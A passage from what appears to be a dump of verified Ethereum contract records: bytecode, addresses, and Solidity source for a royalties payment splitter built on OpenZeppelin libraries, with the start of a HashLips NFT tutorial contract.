602083019080368337019050509050848160008151811061398657fe5b60200260200101906001600160a01b031690816001600160a01b03168152505083816001815181106139b457fe5b6001600160a01b039283166020918202929092018101919091526002546040516338ed173960e01b8152600481018781526024820187905230606483018190526402540be4006084840181905260a060448501908152885160a4860152885195909716966338ed1739968b968b968b96939260c490910191878201910280838360005b83811015613a4f578181015183820152602001613a37565b505050509050019650505050505050600060405180830381600087803b158015613a7857600080fd5b505af1158015613a8c573d6000803e3d6000fd5b505050505050505050565b600080856001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015613ae757600080fd5b505afa158015613afb573d6000803e3d6000fd5b505050506040513d6020811015613b1157600080fd5b50519050613b41867f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28388613958565b604080516370a0823160e01b815230600482015290516001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216916370a08231916024808301926020929190829003018186803b158015613ba757600080fd5b505afa158015613bbb573d6000803e3d6000fd5b505050506040513d6020811015613bd157600080fd5b505191508115613dfd5760008060007f000000000000000000000000ab72cc293b63f6477baf9d514da735cf6caadc2d6001600160a01b031663da633d316040518163ffffffff1660e01b815260040160606040518083038186803b158015613c3957600080fd5b505afa158015613c4d573d6000803e3d6000fd5b505050506040513d6060811015613c6357600080fd5b5080516020820151604090920151909450909250905060008115801590613c9257506001600160a01b03831615155b15613d6457613ca7612710610ca78885612da8565b9050613cd67f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc285838b8b6142ab565b613d6483856001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015613d2757600080fd5b505afa158015613d3b573d6000803e3d6000fd5b505050506040513d6020811015613d5157600080fd5b50516001600160a01b0387169190612e01565b604080516370a0823160e01b815230600482015290516001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216916370a08231916024808301926020929190829003018186803b158015613dca57600080fd5b505afa158015613dde573d6000803e3d6000fd5b505050506040513d6020811015613df457600080fd5b50519550505050505b50949350505050565b60035460021415613fe557613e19614486565b6003600081548110613e2757fe5b60009182526020918290200154604080516370a0823160e01b815230600482015290516001600160a01b03909216926370a0823192602480840193829003018186803b158015613e7657600080fd5b505afa158015613e8a573d6000803e3d6000fd5b505050506040513d6020811015613ea057600080fd5b50518152600380546001908110613eb357fe5b60009182526020918290200154604080516370a0823160e01b815230600482015290516001600160a01b03909216926370a0823192602480840193829003018186803b158015613f0257600080fd5b505afa158015613f16573d6000803e3d6000fd5b505050506040513d6020811015613f2c57600080fd5b5051602082015260408051630b4c7e4d60e01b81527f000000000000000000000000f178c0b5bb7e7abf4e12a4838c7b7c5ba2c623c06001600160a01b031691630b4c7e4d9184918691600401908190849080838360005b83811015613f9c578181015183820152602001613f84565b5050505090500182815260200192505050600060405180830381600087803b158015613fc757600080fd5b505af1158015613fdb573d6000803e3d6000fd5b50505050506128e2565b613fed6144a4565b6003600081548110613ffb57fe5b60009182526020918290200154604080516370a0823160e01b815230600482015290516001600160a01b03909216926370a0823192602480840193829003018186803b15801561404a57600080fd5b505afa15801561405e573d6000803e3d6000fd5b505050506040513d602081101561407457600080fd5b5051815260038054600190811061408757fe5b60009182526020918290200154604080516370a0823160e01b815230600482015290516001600160a01b03909216926370a0823192602480840193829003018186803b1580156140d657600080fd5b505afa1580156140ea573d6000803e3d6000fd5b505050506040513d602081101561410057600080fd5b5051602082015260038054600290811061411657fe5b60009182526020918290200154604080516370a0823160e01b815230600482015290516001600160a01b03909216926370a0823192602480840193829003018186803b15801561416557600080fd5b505afa158015614179573d6000803e3d6000fd5b505050506040513d602081101561418f57600080fd5b50518160026020020152604051634515cef360e01b81526001600160a01b037f000000000000000000000000f178c0b5bb7e7abf4e12a4838c7b7c5ba2c623c01690634515cef390839085906004018083606080838360005b838110156142005781810151838201526020016141e8565b5050505090500182815260200192505050600060405180830381600087803b15801561422b57600080fd5b505af11580156133e0573d6000803e3d6000fd5b3b151590565b60608315614254575081612cba565b8251156142645782518084602001fd5b60405162461bcd60e51b8152602060048201818152845160248401528451859391928392604401919085019080838360008315613789578181015183820152602001613771565b604080516002808252606080830184529260208301908036833701905050905085816000815181106142d957fe5b60200260200101906001600160a01b031690816001600160a01b031681525050848160018151811061430757fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506001828154811061433457fe5b9060005260206000200160009054906101000a90046001600160a01b03166001600160a01b03166338ed1739858584306402540be4006040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156143da5781810151838201526020016143c2565b505050509050019650505050505050600060405180830381600087803b15801561440357600080fd5b505af1158015614417573d6000803e3d6000fd5b50505050505050505050565b828054828255906000526020600020908101928215614476579160200282015b828111156144765781546001600160a01b0319166001600160a01b03843516178255602090920191600190910190614443565b506144829291506144c2565b5090565b60405180604001604052806002906020820280368337509192915050565b60405180606001604052806003906020820280368337509192915050565b5b808211156144825780546001600160a01b03191681556001016144c356fe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a2646970667358221220822f473d44867d000c682f55714d036f35b2e475e3f7e578ca666937067b977164736f6c634300060c0033
[ 5, 4, 12 ]
0xF315612E3A45a9ee715a080337d788dCF9DC8C84
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; contract NFTyRoyaltiesContract is PaymentSplitter { constructor (address[] memory _payees, uint256[] memory _shares) PaymentSplitter(_payees, _shares) payable {} function getTotalBalance() public view returns (uint) { return address(this).balance; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; import "../token/ERC20/utils/SafeERC20.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x6080604052600436106100855760003560e01c806312b58349146100ca57806319165587146100ec5780633a98ef391461010e578063406072a91461012357806348b75044146101435780638b83209b146101635780639852595c14610190578063ce7c2ac2146101b0578063d79779b2146101e6578063e33b7de31461020657600080fd5b366100c5577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77033346040516100bb929190610908565b60405180910390a1005b600080fd5b3480156100d657600080fd5b50475b6040519081526020015b60405180910390f35b3480156100f857600080fd5b5061010c610107366004610939565b61021b565b005b34801561011a57600080fd5b506000546100d9565b34801561012f57600080fd5b506100d961013e366004610956565b610333565b34801561014f57600080fd5b5061010c61015e366004610956565b61035e565b34801561016f57600080fd5b5061018361017e36600461098f565b610514565b6040516100e391906109a8565b34801561019c57600080fd5b506100d96101ab366004610939565b610544565b3480156101bc57600080fd5b506100d96101cb366004610939565b6001600160a01b031660009081526002602052604090205490565b3480156101f257600080fd5b506100d9610201366004610939565b61055f565b34801561021257600080fd5b506001546100d9565b6001600160a01b0381166000908152600260205260409020546102595760405162461bcd60e51b8152600401610250906109bc565b60405180910390fd5b600061026460015490565b61026e9047610a18565b90506000610285838361028086610544565b61057a565b9050806102a45760405162461bcd60e51b815260040161025090610a30565b6001600160a01b038316600090815260036020526040812080548392906102cc908490610a18565b9250508190555080600160008282546102e59190610a18565b909155506102f5905083826105bf565b7fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b0568382604051610326929190610908565b60405180910390a1505050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b0381166000908152600260205260409020546103935760405162461bcd60e51b8152600401610250906109bc565b600061039e8361055f565b6040516370a0823160e01b81526001600160a01b038516906370a08231906103ca9030906004016109a8565b60206040518083038186803b1580156103e257600080fd5b505afa1580156103f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041a9190610a7b565b6104249190610a18565b9050600061043783836102808787610333565b9050806104565760405162461bcd60e51b815260040161025090610a30565b6001600160a01b0380851660009081526006602090815260408083209387168352929052908120805483929061048d908490610a18565b90915550506001600160a01b038416600090815260056020526040812080548392906104ba908490610a18565b909155506104cb90508484836106da565b836001600160a01b03167f3be5b7a71e84ed12875d241991c70855ac5817d847039e17a9d895c1ceb0f18a8483604051610506929190610908565b60405180910390a250505050565b60006004828154811061052957610529610a94565b6000918252602090912001546001600160a01b031692915050565b6001600160a01b031660009081526003602052604090205490565b6001600160a01b031660009081526005602052604090205490565b600080546001600160a01b0385168252600260205260408220548391906105a19086610aaa565b6105ab9190610ac9565b6105b59190610aeb565b90505b9392505050565b8047101561060f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610250565b6000826001600160a01b03168260405160006040518083038185875af1925050503d806000811461065c576040519150601f19603f3d011682016040523d82523d6000602084013e610661565b606091505b50509050806106d55760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c20726044820152791958da5c1a595b9d081b585e481a185d99481c995d995c9d195960321b6064820152608401610250565b505050565b6106d58363a9059cbb60e01b84846040516024016106f9929190610908565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b0319909316929092179091526000610780826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166107fd9092919063ffffffff16565b8051909150156106d5578080602001905181019061079e9190610b02565b6106d55760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610250565b60606105b5848460008585843b6108565760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610250565b600080866001600160a01b031685876040516108729190610b54565b60006040518083038185875af1925050503d80600081146108af576040519150601f19603f3d011682016040523d82523d6000602084013e6108b4565b606091505b50915091506108c48282866108cf565b979650505050505050565b606083156108de5750816105b8565b8251156108ee5782518084602001fd5b8160405162461bcd60e51b81526004016102509190610b70565b6001600160a01b03929092168252602082015260400190565b6001600160a01b038116811461093657600080fd5b50565b60006020828403121561094b57600080fd5b81356105b881610921565b6000806040838503121561096957600080fd5b823561097481610921565b9150602083013561098481610921565b809150509250929050565b6000602082840312156109a157600080fd5b5035919050565b6001600160a01b0391909116815260200190565b60208082526026908201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060408201526573686172657360d01b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b60008219821115610a2b57610a2b610a02565b500190565b6020808252602b908201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060408201526a191d59481c185e5b595b9d60aa1b606082015260800190565b600060208284031215610a8d57600080fd5b5051919050565b634e487b7160e01b600052603260045260246000fd5b6000816000190483118215151615610ac457610ac4610a02565b500290565b600082610ae657634e487b7160e01b600052601260045260246000fd5b500490565b600082821015610afd57610afd610a02565b500390565b600060208284031215610b1457600080fd5b815180151581146105b857600080fd5b60005b83811015610b3f578181015183820152602001610b27565b83811115610b4e576000848401525b50505050565b60008251610b66818460208701610b24565b9190910192915050565b6020815260008251806020840152610b8f816040850160208701610b24565b601f01601f1916919091016040019291505056fea264697066735822122088fd87eb2173885a94b144c7f32af09aadfda949bfc48d0dd9fc9748981ba1ec64736f6c63430008090033
[ 38 ]
0xf3162ce1f950295255bcc4fd4c283f6ae2dbb652
// SPDX-License-Identifier: MIT // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. HashLips will not be liable in any way if for the use of the code. That being said, the code has been tested to the best of the developers' knowledge to work as intended. */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all 